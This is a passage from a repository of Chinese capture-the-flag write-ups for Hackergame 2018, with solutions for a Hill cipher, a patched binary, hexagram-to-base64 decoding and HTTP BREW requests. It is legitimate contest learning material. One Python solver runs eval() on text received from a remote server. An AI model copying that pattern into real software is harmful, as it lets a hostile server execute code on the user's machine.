![Snipaste_2018-10-15_22-56-37.png](./images/3937169843.png) 24 | 25 | 验证一下。 26 | 27 | ![Snipaste_2018-10-15_23-02-01.png](./images/2758521703.png) 28 | 29 | 开心! 30 | -------------------------------------------------------------------------------- /players/soha/encryption_and_decryption.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## [0x12 加密算法和解密算法](./encryption_and_decryption.md) 4 | 5 | 解压后阅读了 html 文件中的内容,大概意思是,加密算法的核心是用 BrainFuck 写的。加密过程是,先把字符串按每个字符换成其在 base64 中的顺序,然后丢给 BrainFuck 作处理后再丢回来,再重新通过 base64 折成字符串。 6 | 7 | 我读完 BrainFuck 之后首先先将加密程序用 js 改写了一次,方便我愚笨的脑子理解。 8 | 9 | ```javascript 10 | let stringMap='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_'; 11 | let magicThings=[ 12 | [ 23, 46, 21, 16, 35, 17, 34, 19, 12, 38 ], 13 | [ 05, 03, 16, 27, 22, 00, 15, 38, 55, 14 ], 14 | [ 40, 40, 63, 05, 02, 51, 10, 52, 41, 43 ], 15 | [ 61, 54, 33, 53, 43, 46, 52, 08, 04, 59 ], 16 | [ 47, 31, 60, 37, 04, 37, 27, 49, 39, 55 ], 17 | [ 21, 23, 26, 17, 36, 44, 19, 07, 62, 10 ], 18 | [ 62, 54, 39, 24, 03, 11, 38, 36, 48, 50 ], 19 | [ 09, 11, 32, 61, 22, 13, 15, 40, 01, 18 ], 20 | [ 18, 00, 48, 23, 58, 07, 30, 60, 21, 36 ], 21 | [ 17, 05, 39, 50, 37, 18, 04, 45, 02, 13 ] 22 | ]; 23 | let finalAddition=[ 2, 6, 8, 8, 3, 5, 5, 7, 4, 9 ]; 24 | let str2num=str40=>str40.match(/.{1,10}/g).map(chunk=>chunk.split('').map(c=>stringMap.indexOf(c))); 25 | let num2str=arr_4=>arr_4.map(a=>a.map(v=>stringMap[v]).join('')).join(''); 26 | 27 | let encode=function (data){ //data=[16, 20, 8, 2, 10, 63, 1, 17, 14, 22] 28 | let encoded=[0,0,0,0,0,0,0,0,0,0]; 29 | for(let i=0;i<10;i++){ 30 | for(let j=0;j<10;j++){ 31 | encoded[j]+=data[i]*magicThings[i][j]; 32 | } 33 | } 34 | return encoded.map((v,i)=>(v+finalAddition[i])%64); 35 | }; 36 | 37 | console.log(num2str(str2num("QUICK_BROWN_FOXES_JUMP_OVER_THE_LAZY_DOG").map(v=>encode(v)))); 38 | ``` 39 | 40 | 因为我几乎没有任何密码学知识,我写出这段 js 后并不知道这是个啥算法。我只根据这个分析出来,解这个需要线代知识。刚上大学,之前也没学过相关知识,于是我在网上查有关矩阵知识的时候发现了 Hill cipher (希尔密码) 这个玩意儿。一看定义,这不就是这个加密算法的基础!magicThings 里面存储的就是密钥矩阵!可惜我因为没有背景知识,并看不出来这些,还把密钥矩阵叫成了“magicThings”,倘若我有这些基础知识铺垫的话,我在题面提到“将原文分为四段,每段长度为十”的时候应该就能猜出这是希尔密码了。 41 | 42 | 为了方便我默默拿出 CrypTools,输入密钥矩阵解密。CrypTools 似乎有个 bug,就是不管你选的是 `{row vector} * {matrix}` 还是 `{matrix} * {column vector}`,它使用的都是后者。因此我在输入密钥的时候自己来了个行列转置。 43 | 44 | 咦?怎么解密出来的东西奇奇怪怪的?原来是我忘了还有个 `finalAddition`。将密文预处理后重新解密,就获得了正确的 flag。 45 | 46 | ![Snipaste_2018-10-13_02-18-59.png](./images/3776385642.png) 47 | -------------------------------------------------------------------------------- /players/soha/her_gift.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## 0x0e 她的礼物 4 | 5 | 首先下载 gift 文件。执行后随便传个参数进去发现会出现这个消息: 6 | 7 | ``` 8 | Error code [2333] 9 | Running this program for too long is unhealthy for your computer. 10 | Please contact your administrator for details. 11 | ``` 12 | 13 | 我直接反编译找到了相关的内容。 14 | 15 | ![Snipaste_2018-10-10_13-55-48.png](./images/1864837544.png) 16 | 17 | 直接对程序进行了一波魔改,删掉了 too long 那个 alarm,以及干掉了没用的 printf。然后坐等 233333 次程序执行完成拿到 flag。 18 | 19 | ![Snipaste_2018-10-10_16-52-21.png](./images/3146243909.png) 20 | -------------------------------------------------------------------------------- /players/soha/images/124731297.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/124731297.png -------------------------------------------------------------------------------- /players/soha/images/1281997036.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/1281997036.png -------------------------------------------------------------------------------- /players/soha/images/1429292297.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/1429292297.jpg -------------------------------------------------------------------------------- /players/soha/images/160011773.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/160011773.png -------------------------------------------------------------------------------- /players/soha/images/1710366700.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/1710366700.png -------------------------------------------------------------------------------- /players/soha/images/1864837544.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/1864837544.png -------------------------------------------------------------------------------- /players/soha/images/1882380561.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/1882380561.png -------------------------------------------------------------------------------- /players/soha/images/1962830901.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/1962830901.png -------------------------------------------------------------------------------- /players/soha/images/1994848494.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/1994848494.png -------------------------------------------------------------------------------- /players/soha/images/2219885828.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/2219885828.png -------------------------------------------------------------------------------- /players/soha/images/2533851744.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/2533851744.png -------------------------------------------------------------------------------- /players/soha/images/2572283108.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/2572283108.png -------------------------------------------------------------------------------- /players/soha/images/2639092579.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/2639092579.png -------------------------------------------------------------------------------- /players/soha/images/2702735753.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/2702735753.png -------------------------------------------------------------------------------- /players/soha/images/2758521703.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/2758521703.png -------------------------------------------------------------------------------- /players/soha/images/3146243909.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3146243909.png -------------------------------------------------------------------------------- /players/soha/images/3148723092.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3148723092.png -------------------------------------------------------------------------------- /players/soha/images/3227366260.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3227366260.png -------------------------------------------------------------------------------- /players/soha/images/3266749685.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3266749685.png -------------------------------------------------------------------------------- /players/soha/images/3376090344.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3376090344.png -------------------------------------------------------------------------------- /players/soha/images/3723102722.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3723102722.png -------------------------------------------------------------------------------- /players/soha/images/3776385642.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3776385642.png -------------------------------------------------------------------------------- /players/soha/images/3937169843.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/3937169843.png -------------------------------------------------------------------------------- /players/soha/images/4118228921.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/4118228921.png -------------------------------------------------------------------------------- /players/soha/images/4210065068.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/4210065068.png -------------------------------------------------------------------------------- /players/soha/images/4275067853.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/4275067853.png -------------------------------------------------------------------------------- /players/soha/images/4276237654.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/4276237654.png -------------------------------------------------------------------------------- /players/soha/images/441423199.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/441423199.png -------------------------------------------------------------------------------- /players/soha/images/831079774.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/831079774.png -------------------------------------------------------------------------------- /players/soha/images/88641739.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/88641739.png -------------------------------------------------------------------------------- /players/soha/images/909917520.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/909917520.png -------------------------------------------------------------------------------- /players/soha/images/93953137.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/93953137.png -------------------------------------------------------------------------------- /players/soha/images/960723743.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/960723743.png -------------------------------------------------------------------------------- /players/soha/images/982647386.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/soha/images/982647386.png -------------------------------------------------------------------------------- /players/soha/python_simulator.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## 0x08 猫咪克星 4 | 5 | 用人的手速肯定不行(但我还是天真的用手来了几次),所以我专门写了个 Python 程序来做题。刚开始觉得很简单就是个eval,后来发现太狡猾了他们,还有 `exit()` , `sleep(100)` 这种万恶的语句来让我们的 eval 爆炸。 6 | 7 | 机智的我使用了替换大法!最后的程序是这样的 8 | 9 | ```python 10 | from socket import * 11 | tcpClient=socket(AF_INET,SOCK_STREAM) 12 | tcpClient.connect(("202.38.95.46",12009)) 13 | 14 | while True: 15 | data=tcpClient.recv(1024).decode(encoding="utf-8") 16 | print(data) 17 | try: 18 | if "flag{" in data: 19 | exit() 20 | result=eval(data.replace("exit()","0").replace("sleep(100)","sleep(0)")) 21 | rtn=str(result)+"\n" 22 | print(rtn) 23 | tcpClient.send(rtn.encode(encoding="utf-8")) 24 | except Exception as e: 25 | pass 26 | 27 | tcpClient.close() 28 | ``` 29 | 30 | 拿到了! 31 | 32 | ![Snipaste_2018-10-09_21-25-05.png](./images/909917520.png) 33 | -------------------------------------------------------------------------------- /players/soha/secret_of_flxg.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## 0x15 ["FLXG 的秘密".来自未来的漂流瓶](./secret_of_flxg.md) 4 | 5 | 文中说了“他们再以四千年前的伏羲先天六十四卦将程序编码”,看到 64 就想到了 base64。所以**按照 Wikipedia 里面从左到右的顺序** *(这里我还专门问了一下我爹相关知识)*,依次替换成 base64 的字符。我使用了下面的 js 来帮我: 6 | 7 | ```javascript 8 | let fs=require('fs'); 9 | let xianTian64Gua=[ 10 | "坤","剥","比","观","豫","晋","萃","否", 11 | "谦","艮","蹇","渐","小过","旅","咸","遁", 12 | "师","蒙","坎","涣","解","未济","困","讼", 13 | "升","蛊","井","巽","恒","鼎","大过","姤", 14 | "复","颐","屯","益","震","噬嗑","随","无妄", 15 | "明夷","贲","既济","家人","丰","离","革","同人", 16 | "临","损","节","中孚","归妹","睽","兑","履", 17 | "泰","大畜","需","小畜","大壮","大有","夬","乾" 18 | ],base64Map='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_'; 19 | 20 | let flxg=fs.readFileSync('flxg.txt').toString(); 21 | xianTian64Gua.forEach((v,i)=>flxg=flxg.replace(new RegExp(v,'g'),base64Map.charAt(i))); 22 | 23 | fs.writeFileSync('newFlxg.bin',Buffer.from(flxg,'base64')); 24 | ``` 25 | 26 | 习惯性看了一眼 hex 的头和尾。flag 清晰可见。 27 | 28 | ![Snipaste_2018-10-15_13-43-37.png](./images/2639092579.png) 29 | -------------------------------------------------------------------------------- /players/soha/who_am_i.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## 0x06 我是谁.哲学思考 4 | 5 | 一直开着开发者工具的我一眼就看出了 Network 里面的不对劲。 6 | 7 | ![Snipaste_2018-10-09_20-59-16.png](./images/960723743.png) 8 | 9 | 填入 `teapot` 搞定。 10 | 11 | ## 0x07 我是谁."Can I help me?" 12 | 13 | 根据第一根 flag 提供的 url,建议我们使用别的 method 来请求。既然说到 brew tea,说到 teapot,那肯定是 RFC 7168 啦。( `HTCPCP-TEA` 真好玩!) 14 | 15 | 读一读 RFC 7168 就可以写出下面这个 payload: 16 | 17 | ``` 18 | BREW /the_super_great_hidden_url_for_brewing_tea/ HTTP/1.1 19 | Content-Type: message/teapot 20 | ``` 21 | 22 | ![Snipaste_2018-10-09_21-03-31.png](./images/3376090344.png) 23 | 24 | 然后接着请求 `Alternates` 里面提供的 url。 25 | 26 | ``` 27 | BREW /the_super_great_hidden_url_for_brewing_tea/black_tea HTTP/1.1 28 | Content-Type: message/teapot 29 | ``` 30 | 31 | ![Snipaste_2018-10-09_21-04-39.png](./images/831079774.png) 32 | 33 | 嗯……给大佬递茶…… 34 | -------------------------------------------------------------------------------- /players/taoky/imgs/ability_to_use_google.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/taoky/imgs/ability_to_use_google.png -------------------------------------------------------------------------------- /players/taoky/imgs/emotion_feeling_hurt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/taoky/imgs/emotion_feeling_hurt.png -------------------------------------------------------------------------------- /players/taoky/imgs/little_busters_kud_can_i_help_me.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/taoky/imgs/little_busters_kud_can_i_help_me.png -------------------------------------------------------------------------------- /players/taoky/imgs/uuencoding_wikipedia.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/taoky/imgs/uuencoding_wikipedia.png -------------------------------------------------------------------------------- /players/taoky/imgs/wrong_script.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/taoky/imgs/wrong_script.png --------------------------------------------------------------------------------